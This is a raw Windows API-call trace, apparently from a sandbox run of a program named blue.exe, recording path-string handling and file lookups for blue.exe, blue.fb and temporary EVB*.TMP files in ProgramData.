ftCreationTime.dwLowDateTime=0x13be2ad0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13be2ad0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13be2ad0, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="blue.exe", cAlternateFileName="")) returned 0x759468 [0118.169] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.169] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.169] FindClose (in: hFindFile=0x759468 | out: hFindFile=0x759468) returned 1 [0118.169] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\blue.exe", len=0x14 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\blue.exe") returned 1 [0118.169] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\blue.exe", psz="c:\\PROGRA~3\\blue.exe\\", len=0x15 | out: pbstr=0x28f210*="c:\\PROGRA~3\\blue.exe\\") returned 1 [0118.169] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\blue.exe\\", len=0x15 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\blue.exe\\") returned 1 [0118.169] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\blue.exe\\", psz="c:\\PROGRA~3\\blue.exe", len=0x14 | out: pbstr=0x28f210*="c:\\PROGRA~3\\blue.exe") returned 1 [0118.170] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\blue.exe", cchLength=0x14 | out: lpsz="c:\\progra~3\\blue.exe") returned 0x14 [0118.170] SysReAllocStringLen (in: pbstr=0x471bec*=0x0, psz="c:\\progra~3\\blue.exe", len=0x14 | out: pbstr=0x471bec*="c:\\progra~3\\blue.exe") returned 1 [0118.170] SysReAllocStringLen (in: pbstr=0x471bf0*=0x0, psz="c:", len=0x2 | out: pbstr=0x471bf0*="c:") returned 1 [0118.170] SysReAllocStringLen (in: pbstr=0x471c10*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x471c10*="progra~3") returned 1 [0118.170] SysReAllocStringLen (in: pbstr=0x471c30*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x471c30*="blue.exe") returned 1 [0118.170] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3ata", lpUsedDefaultChar=0x0) returned 8 [0118.170] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.exe", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.exeata", lpUsedDefaultChar=0x0) returned 8 [0118.171] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x471c58, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVBC2398.TMP⍔vバt☘E\x18") returned 12 [0118.171] CharLowerBuffW (in: lpsz="EVBC2398.TMP", cchLength=0xc | out: lpsz="evbc2398.tmp") returned 0xc [0118.171] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0118.171] FindFirstFileW (in: lpFileName="c:\\programdata\\evbc2398.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13be2ad0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x13600, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x6c0062, nFileSizeLow=0x650075, dwReserved0=0x65002e, dwReserved1=0x650078, cFileName="", cAlternateFileName="A臌uA((￿￿((⁾D(❂D(\x17")) returned 0xffffffff [0118.171] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.171] SysReAllocStringLen (in: pbstr=0x28f258*="evbc2398.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.171] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0118.171] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0118.171] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0118.171] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="blue.exe", len=0x8 | out: pbstr=0x28f1cc*="blue.exe") returned 1 [0118.171] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\blue.exe", len=0x2c | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\blue.exe") returned 1 [0118.171] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\blue.exe\\", len=0x2d | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\blue.exe\\") returned 1 [0118.172] SysReAllocStringLen (in: pbstr=0x471ac4*=0x0, psz="\\device\\harddiskvolume1\\programdata\\blue.exe\\", len=0x2d | out: pbstr=0x471ac4*="\\device\\harddiskvolume1\\programdata\\blue.exe\\") returned 1 [0118.172] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\blue.exe\\", cchLength=0x2d | out: lpsz="\\device\\harddiskvolume1\\programdata\\blue.exe\\") returned 0x2d [0118.172] SysReAllocStringLen (in: pbstr=0x471c70*=0x0, psz="\\device\\harddiskvolume1\\programdata\\blue.exe\\", len=0x2d | out: pbstr=0x471c70*="\\device\\harddiskvolume1\\programdata\\blue.exe\\") returned 1 [0118.172] SysReAllocStringLen (in: pbstr=0x471c94*=0x0, psz="device", len=0x6 | out: pbstr=0x471c94*="device") returned 1 [0118.172] SysReAllocStringLen (in: pbstr=0x471cb4*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x471cb4*="harddiskvolume1") returned 1 [0118.172] SysReAllocStringLen (in: pbstr=0x471cc0*=0x0, psz="programdata", len=0xb | out: pbstr=0x471cc0*="programdata") returned 1 [0118.172] SysReAllocStringLen (in: pbstr=0x471ccc*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x471ccc*="blue.exe") returned 1 [0118.172] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\blue.exe\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.172] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0118.172] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0118.172] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0118.172] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="blue.exe", len=0x8 | out: pbstr=0x28f1c0*="blue.exe") returned 1 [0118.172] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\blue.exe", len=0x29 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\blue.exe") returned 1 [0118.173] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\blue.exe\\", len=0x2a | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\blue.exe\\") returned 1 [0118.173] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\blue.exe\\", cchLength=0x2a | out: lpsz="\\device\\harddiskvolume1\\progra~3\\blue.exe\\") returned 0x2a [0118.173] SysReAllocStringLen (in: pbstr=0x471cdc*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\blue.exe\\", len=0x2a | out: pbstr=0x471cdc*="\\device\\harddiskvolume1\\progra~3\\blue.exe\\") returned 1 [0118.173] SysReAllocStringLen (in: pbstr=0x471d00*=0x0, psz="device", len=0x6 | out: pbstr=0x471d00*="device") returned 1 [0118.173] SysReAllocStringLen (in: pbstr=0x471d20*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x471d20*="harddiskvolume1") returned 1 [0118.173] SysReAllocStringLen (in: pbstr=0x471d2c*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x471d2c*="progra~3") returned 1 [0118.173] SysReAllocStringLen (in: pbstr=0x471d38*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x471d38*="blue.exe") returned 1 [0118.173] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.173] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.173] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.173] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x28f23c*="blue.fb") returned 1 [0118.173] CharLowerBuffW (in: lpsz="blue.fb", cchLength=0x7 | out: lpsz="blue.fb") returned 0x7 [0118.173] SysReAllocStringLen (in: pbstr=0x28f240*="blue.fb", psz="blue.fb", len=0x7 | out: pbstr=0x28f240*="blue.fb") returned 1 [0118.174] SysReAllocStringLen (in: pbstr=0x471d90*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x471d90*="blue.fb") returned 1 [0118.174] SysReAllocStringLen (in: pbstr=0x471d94*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x471d94*="blue.fb") returned 1 [0118.174] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0118.174] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0118.174] CharLowerBuffW (in: lpsz="c:\\programdata\\blue.fb", cchLength=0x16 | out: lpsz="c:\\programdata\\blue.fb") returned 0x16 [0118.174] SysReAllocStringLen (in: pbstr=0x471d98*=0x0, psz="c:\\programdata\\blue.fb", len=0x16 | out: pbstr=0x471d98*="c:\\programdata\\blue.fb") returned 1 [0118.174] CharLowerBuffW (in: lpsz="c:\\programdata\\blue.fb", cchLength=0x16 | out: lpsz="c:\\programdata\\blue.fb") returned 0x16 [0118.174] SysReAllocStringLen (in: pbstr=0x471e74*=0x0, psz="c:\\programdata\\blue.fb", len=0x16 | out: pbstr=0x471e74*="c:\\programdata\\blue.fb") returned 1 [0118.174] SysReAllocStringLen (in: pbstr=0x471e78*=0x0, psz="c:", len=0x2 | out: pbstr=0x471e78*="c:") returned 1 [0118.174] SysReAllocStringLen (in: pbstr=0x471e98*=0x0, psz="programdata", len=0xb | out: pbstr=0x471e98*="programdata") returned 1 [0118.174] SysReAllocStringLen (in: pbstr=0x471eb8*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x471eb8*="blue.fb") returned 1 [0118.174] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatawr45w", lpUsedDefaultChar=0x0) returned 11 [0118.174] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.fb", cchWideChar=7, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.fbdatawr45w", lpUsedDefaultChar=0x0) returned 7 [0118.174] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.182] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0118.182] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.182] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759468 [0118.183] FindNextFileW (in: hFindFile=0x759468, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.183] GetLastError () returned 0x12 [0118.183] FindClose (in: hFindFile=0x759468 | out: hFindFile=0x759468) returned 1 [0118.183] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0118.183] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0118.183] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="blue.fb", len=0x7 | out: pbstr=0x28ef0c*="blue.fb") returned 1 [0118.183] FindFirstFileW (in: lpFileName="c:\\ProgramData\\blue.fb", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13be51e0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13be51e0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13be51e0, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="blue.fb", cAlternateFileName="")) returned 0x759468 [0118.183] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.183] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.183] FindClose (in: hFindFile=0x759468 | out: hFindFile=0x759468) returned 1 [0118.183] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\blue.fb", len=0x16 | out: pbstr=0x28ef00*="c:\\ProgramData\\blue.fb") returned 1 [0118.183] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\blue.fb", psz="c:\\ProgramData\\blue.fb\\", len=0x17 | out: pbstr=0x28f214*="c:\\ProgramData\\blue.fb\\") returned 1 [0118.184] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\blue.fb\\", len=0x17 | out: pbstr=0x28eefc*="c:\\ProgramData\\blue.fb\\") returned 1 [0118.184] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\blue.fb\\", psz="c:\\ProgramData\\blue.fb", len=0x16 | out: pbstr=0x28f214*="c:\\ProgramData\\blue.fb") returned 1 [0118.184] CharLowerBuffW (in: lpsz="c:\\ProgramData\\blue.fb", cchLength=0x16 | out: lpsz="c:\\programdata\\blue.fb") returned 0x16 [0118.184] SysReAllocStringLen (in: pbstr=0x471e74*=0x0, psz="c:\\programdata\\blue.fb", len=0x16 | out: pbstr=0x471e74*="c:\\programdata\\blue.fb") returned 1 [0118.184] SysReAllocStringLen (in: pbstr=0x471e78*=0x0, psz="c:", len=0x2 | out: pbstr=0x471e78*="c:") returned 1 [0118.184] SysReAllocStringLen (in: pbstr=0x471e98*=0x0, psz="programdata", len=0xb | out: pbstr=0x471e98*="programdata") returned 1 [0118.185] SysReAllocStringLen (in: pbstr=0x471eb8*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x471eb8*="blue.fb") returned 1 [0118.185] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.185] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.fb", cchWideChar=7, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.fbdataume1", lpUsedDefaultChar=0x0) returned 7 [0118.185] CharLowerBuffW (in: lpsz="c:\\programdata\\blue.fb", cchLength=0x16 | out: lpsz="c:\\programdata\\blue.fb") returned 0x16 [0118.185] SysReAllocStringLen (in: pbstr=0x471ec8*=0x0, psz="c:\\programdata\\blue.fb", len=0x16 | out: pbstr=0x471ec8*="c:\\programdata\\blue.fb") returned 1 [0118.185] SysReAllocStringLen (in: pbstr=0x471ecc*=0x0, psz="c:", len=0x2 | out: pbstr=0x471ecc*="c:") returned 1 [0118.185] SysReAllocStringLen (in: pbstr=0x471eec*=0x0, psz="programdata", len=0xb | out: pbstr=0x471eec*="programdata") returned 1 [0118.186] SysReAllocStringLen (in: pbstr=0x471f0c*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x471f0c*="blue.fb") returned 1 [0118.186] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatadatawr45w", lpUsedDefaultChar=0x0) returned 11 [0118.186] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.fb", cchWideChar=7, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.fbdatadatawr45w", lpUsedDefaultChar=0x0) returned 7 [0118.186] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.186] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0118.186] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.186] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759468 [0118.186] FindNextFileW (in: hFindFile=0x759468, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.186] GetLastError () returned 0x12 [0118.186] FindClose (in: hFindFile=0x759468 | out: hFindFile=0x759468) returned 1 [0118.186] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0118.186] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0118.186] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="blue.fb", len=0x7 | out: pbstr=0x28ef0c*="blue.fb") returned 1 [0118.187] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\blue.fb", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13be51e0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13be51e0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13be51e0, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="blue.fb", cAlternateFileName="")) returned 0x759468 [0118.187] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.187] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.187] FindClose (in: hFindFile=0x759468 | out: hFindFile=0x759468) returned 1 [0118.187] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\blue.fb", len=0x13 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\blue.fb") returned 1 [0118.187] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\blue.fb", psz="c:\\PROGRA~3\\blue.fb\\", len=0x14 | out: pbstr=0x28f210*="c:\\PROGRA~3\\blue.fb\\") returned 1 [0118.187] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\blue.fb\\", len=0x14 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\blue.fb\\") returned 1 [0118.187] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\blue.fb\\", psz="c:\\PROGRA~3\\blue.fb", len=0x13 | out: pbstr=0x28f210*="c:\\PROGRA~3\\blue.fb") returned 1 [0118.188] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\blue.fb", cchLength=0x13 | out: lpsz="c:\\progra~3\\blue.fb") returned 0x13 [0118.188] SysReAllocStringLen (in: pbstr=0x471ec8*=0x0, psz="c:\\progra~3\\blue.fb", len=0x13 | out: pbstr=0x471ec8*="c:\\progra~3\\blue.fb") returned 1 [0118.188] SysReAllocStringLen (in: pbstr=0x471ecc*=0x0, psz="c:", len=0x2 | out: pbstr=0x471ecc*="c:") returned 1 [0118.188] SysReAllocStringLen (in: pbstr=0x471eec*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x471eec*="progra~3") returned 1 [0118.188] SysReAllocStringLen (in: pbstr=0x471f0c*=0x0, psz="blue.fb", len=0x7 | out: pbstr=0x471f0c*="blue.fb") returned 1 [0118.188] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3ataume1", lpUsedDefaultChar=0x0) returned 8 [0118.188] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.fb", cchWideChar=7, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.fb3ataume1", lpUsedDefaultChar=0x0) returned 7 [0118.189] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x471f34, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVB56B1F.TMP⍔vバt☘E\x18") returned 12 [0118.189] CharLowerBuffW (in: lpsz="EVB56B1F.TMP", cchLength=0xc | out: lpsz="evb56b1f.tmp") returned 0xc [0118.189] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0118.189] FindFirstFileW (in: lpFileName="c:\\programdata\\evb56b1f.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13be51e0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x1f7, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x6c0062, nFileSizeLow=0x650075, dwReserved0=0x66002e, dwReserved1=0x62, cFileName="", cAlternateFileName="A臌uA((")) returned 0xffffffff [0118.189] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.189] SysReAllocStringLen (in: pbstr=0x28f258*="evb56b1f.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.189] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0118.189] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0118.189] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0118.189] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="blue.fb", len=0x7 | out: pbstr=0x28f1cc*="blue.fb") returned 1 [0118.189] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\blue.fb", len=0x2b | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\blue.fb") returned 1 [0118.189] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\blue.fb\\", len=0x2c | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\blue.fb\\") returned 1 [0118.189] SysReAllocStringLen (in: pbstr=0x471db4*=0x0, psz="\\device\\harddiskvolume1\\programdata\\blue.fb\\", len=0x2c | out: pbstr=0x471db4*="\\device\\harddiskvolume1\\programdata\\blue.fb\\") returned 1 [0118.190] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\blue.fb\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\programdata\\blue.fb\\") returned 0x2c [0118.190] SysReAllocStringLen (in: pbstr=0x471f4c*=0x0, psz="\\device\\harddiskvolume1\\programdata\\blue.fb\\", len=0x2c | out: pbstr=0x471f4c*="\\device\\harddiskvolume1\\programdata\\blue.fb\\") returned 1 [0118.190] SysReAllocStringLen (in: pbstr=0x471f70*=0x0, psz="device", len=0x6 | 